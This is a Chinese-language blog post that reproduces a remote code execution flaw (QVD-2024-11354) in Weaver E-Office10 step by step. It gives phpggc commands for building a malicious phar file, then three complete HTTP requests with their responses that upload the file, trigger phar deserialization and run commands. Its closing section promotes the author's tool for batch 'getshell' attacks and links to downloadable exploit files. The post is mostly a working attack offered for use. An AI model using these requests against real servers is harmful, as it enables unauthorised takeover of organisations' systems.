QVD-2024-11354-最新泛微E-Office10远程代码执行漏洞(复现坑点总结)


漏洞复现背景

前几天突然某公众号发布了泛微的E-office远程代码执行。机缘巧合情况下获取到了这个漏洞的poc。遗憾的是这个漏洞是反序列化的漏洞如果执行其他命令或者getshell需要替换里面的字节。由于他们使用的yakit 漏洞poc使用base64编码。想要搞其实花点时间使用代码解密这段base64并且使用二进制方式写入.phar 文件。就行了。始终觉得自己搞出来那才是最好的于是我分析了一下这段poc的关键代码使用谷歌搜索了一篇文章。走到这里你们肯定想问是哪篇文章。加入小密圈或者内部群获取哈哈哈开玩笑的了。但是这年头分享exp poc需要冒着及大的风险。另外别人研究了可能好几个月的知识被你直接分享那有点说不过去了。收费也是没毛病的。但是这里我就直接分享了毕竟这个漏洞折磨了很久。参考链接:这篇里面有生成poc的代码具体是哪个自己找如果这都搞不定那我就不说了 https://xz.aliyun.com/t/8359
另外在github有一个类似于java反序列化生成的工具链接在这里
https://github.com/ambionics/phpggc 但我用这个生成的poc不行不知道(原因校验phar hash值)。这个在kali上面运行生成poc就行了

用法:php phpggc -p phar Laravel/RCE1 system whoami -b

补充一下生成带图片头的语法 下面这个语法满足要求 使用laravel 版本小于5.8.x的exp就行了
php phpggc -pp up.gif -p phar -o u.phar Laravel/RCE1 system dir

我是用https://xz.aliyun.com/t/8359 生成的poc

漏洞poc

第一步 上传带有反序列化的文件 poc

POST /eoffice10/server/public/api/attachment/atuh-file HTTP/1.1
Host: xxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
Content-Length: 536
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Type: multipart/form-data; boundary=dsfdsafdsffdsafdsfdfsdf

--dsfdsafdsffdsafdsfdfsdf
Content-Disposition: form-data; name="Filedata"; filename="register.inc"
Content-Type: image/jpeg

GIF89a<?php __HALT_COMPILER(); ?> //whoami.phar
--dsfdsafdsffdsafdsfdfsdf--


返回包
HTTP/1.1 200 OK
Date: Sat, 30 Mar 2024 08:15:43 GMT
Server: Apache
Cache-Control: no-cache, private
Vary: Accept-Encoding
Connection: close
Content-Type: application/json
Content-Length: 123

{"status":1,"data":{"attachment_id":"idid","attachment_name":"register.inc"},"runtime":"2.361"}

第二步触发反序列化

POST /eoffice10/server/public/api/attachment/path/migrate HTTP/1.1
Host: xxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
Content-Length: 69
Connection: close
Content-Type: application/x-www-form-urlencoded

source_path=&desc_path=phar%3A%2F%2F..%2F..%2F..%2F..%2Fattachment%2F
返回

HTTP/1.1 200 OK
Date: Sat, 30 Mar 2024 08:15:51 GMT
Server: Apache
Cache-Control: no-cache, private
Vary: Accept-Encoding
Connection: close
Content-Type: application/json
Content-Length: 85

{"status":1,"data":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1],"runtime":"0.342"}

第三步:执行得到结果

POST /eoffice10/server/public/api/empower/import HTTP/1.1
Host: xxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
Content-Length: 49
Connection: close
Content-Type: application/x-www-form-urlencoded

file=idididi //这里也可以加到干扰字符例如username=admin&password=admin&file=dfdsfdsfdsf&type=login

HTTP/1.1 200 OK
Date: Sat, 30 Mar 2024 08:22:39 GMT
Server: Apache
Cache-Control: no-cache, private
Vary: Accept-Encoding
Connection: close
Content-Type: application/json
Content-Length: 145

返回这个 no_file 才是对的其他都是错误的
{"status":0,"errors":[{"code":"no_file", "message":"\u6ce8\u518c\u6587\u4ef6\u4e0d\u5b58\u5728"}],"runtime":"0.322"}这里是回显结果

截图我就不截了基本就是上面的步骤

复现坑点

在brup 高版本中即使你用正确poc也无法复现成功下图说明。下图最新版本的brup复现失败用的poc是同一个conten-length 都不一样
复现坑点
这个截图截一个成功的
成功复现

武器化

这样重复的劳动比较辛苦我们做成一个自动化渗透测试武器。另外如果你不想写代码可以使用我们的工具5.3最新版本 ini配置模式配置一波别人写好的脚本直接批量拿shell就行至于如何配置参考前面的东东。这个漏洞如果只搞一个命令执行不太行。经过我的研究研究出一个直接可以getshell的exp配置命令执行。
。如下图:
!武器化
上述可以单个也可以批量getshell。达到快速拿webshell的目的。那些现在搞一波小密圈写个py或者go的这些单个的命令行执行的就别老用小密圈割韭菜了好歹你放一波你构造的.phar文件。老在那装逼我也是醉了。。。。至于exp的构造参考阿里云那篇文章你就可以自己构造了怎么样。

构造文件下载

我放到频道评论区了自己下载吧
https://t.me/SoftwareNoticeChannel/401?comment=10602

github地址:https://github.com/peiqiF4ck/WebFrameworkTools-5.1-main


文章作者: peiqiF4ck
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 peiqiF4ck !
  目录